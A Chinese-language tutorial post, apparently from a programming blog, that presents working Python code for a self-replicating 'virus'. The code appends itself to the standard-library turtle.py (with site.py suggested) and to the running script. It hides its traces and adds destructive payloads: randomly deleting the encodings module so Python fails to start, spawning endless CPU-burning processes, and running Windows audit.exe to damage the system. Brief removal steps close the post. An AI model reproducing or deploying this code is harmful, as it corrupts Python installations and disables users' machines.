计算机病毒工作原理"/>
Python 设计自我复制程序,模拟计算机病毒工作原理
计算机病毒(Computer Virus)指编制者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机正常使用并且能够自我复制的一组计算机指令或程序代码。
计算机病毒具有传染性、隐蔽性、感染性、潜伏性、可激发性、表现性或破坏性。计算机病毒的生命周期:开发期→传染期→潜伏期→发作期→发现期→消化期→消亡期。
本程序可在不同Python解释器之间自我复制, 类似计算机病毒的工作步骤和原理。
程序由四个部分组成 :
- 获取程序自身代码。
- 判断目标文件中是否已存在该程序。
- 将代码写入目标文件末尾。
- 其他的代码。
step1:
# mark是本程序的标识
mark="#####MyPython####"#v1.0.1
code=''
# 获取程序自身代码
with open(__file__,encoding="utf-8") as f:for line in f:if mark in line.strip():code=line+f.read()
# 复制程序自身
def spread(mod):file=__import__(mod).__file__# 判断文件中是否已存在木马with open(file,'r',encoding='utf-8') as f:for line in f:if mark in line:return# 判断待写入文件大小,过小则不写入if os.path.getsize(file)>1200:# 将代码写入文件末尾with open(file,'a',encoding='utf-8') as f:f.write(code)try:# 将代码写入python标准库的turtle.py# 这样用户调用import turtle时, 会自动执行程序副本# 可将turtle改为site, 增加程序自我复制机会spread('turtle')# 复制自身到正在运行的主程序spread('__main__')
except:pass
# 在turtle模块中, 防止自身被发现
del spread,code,mark,f,line
技巧总结:
- 使用__file__获取程序文件名
- 使用__import__()函数直接导入模块
- 使用标签(如: #####MyPython####) 标识本程序
- 运用os.path.getsize函数获取文件大小
step2: 添加代码
import os,random,encodings
if random.randrange(1,300)==1:# 移除encodings模块, 使Python无法正常启动os.remove(encodings.__file__)
或:
import os
if random.randrange(1,30)==1:# 占用系统资源, 使计算机运行速度变慢for i in range(4): # 4为cpu线程数os.system('pythonw.exe -c "while True:pass"')
或:
# 更新时间:2021-7-7
import os
# 调用windows的安装程序, 破坏系统
os.system(os.path.join(os.getenv('windir'), 'system32\\oobe\\audit.exe'))
step3: 传播到pyc文件
pyc文件是编译之后的py文件。传播到pyc文件可以使程序更不易被查出。
参见文章: Python bytecode 字节码解析与插入、修改
step4: 传播到pyinstaller打包的程序
(目前还没有办法,欢迎补充。)
step5: 如何删除
将被传播到的模块(如turtle.py)最后面的那几行本程序的代码删除,即可。
或者重新安装整个Python。
更多推荐
Python 设计自我复制程序,模拟计算机病毒工作原理
发布评论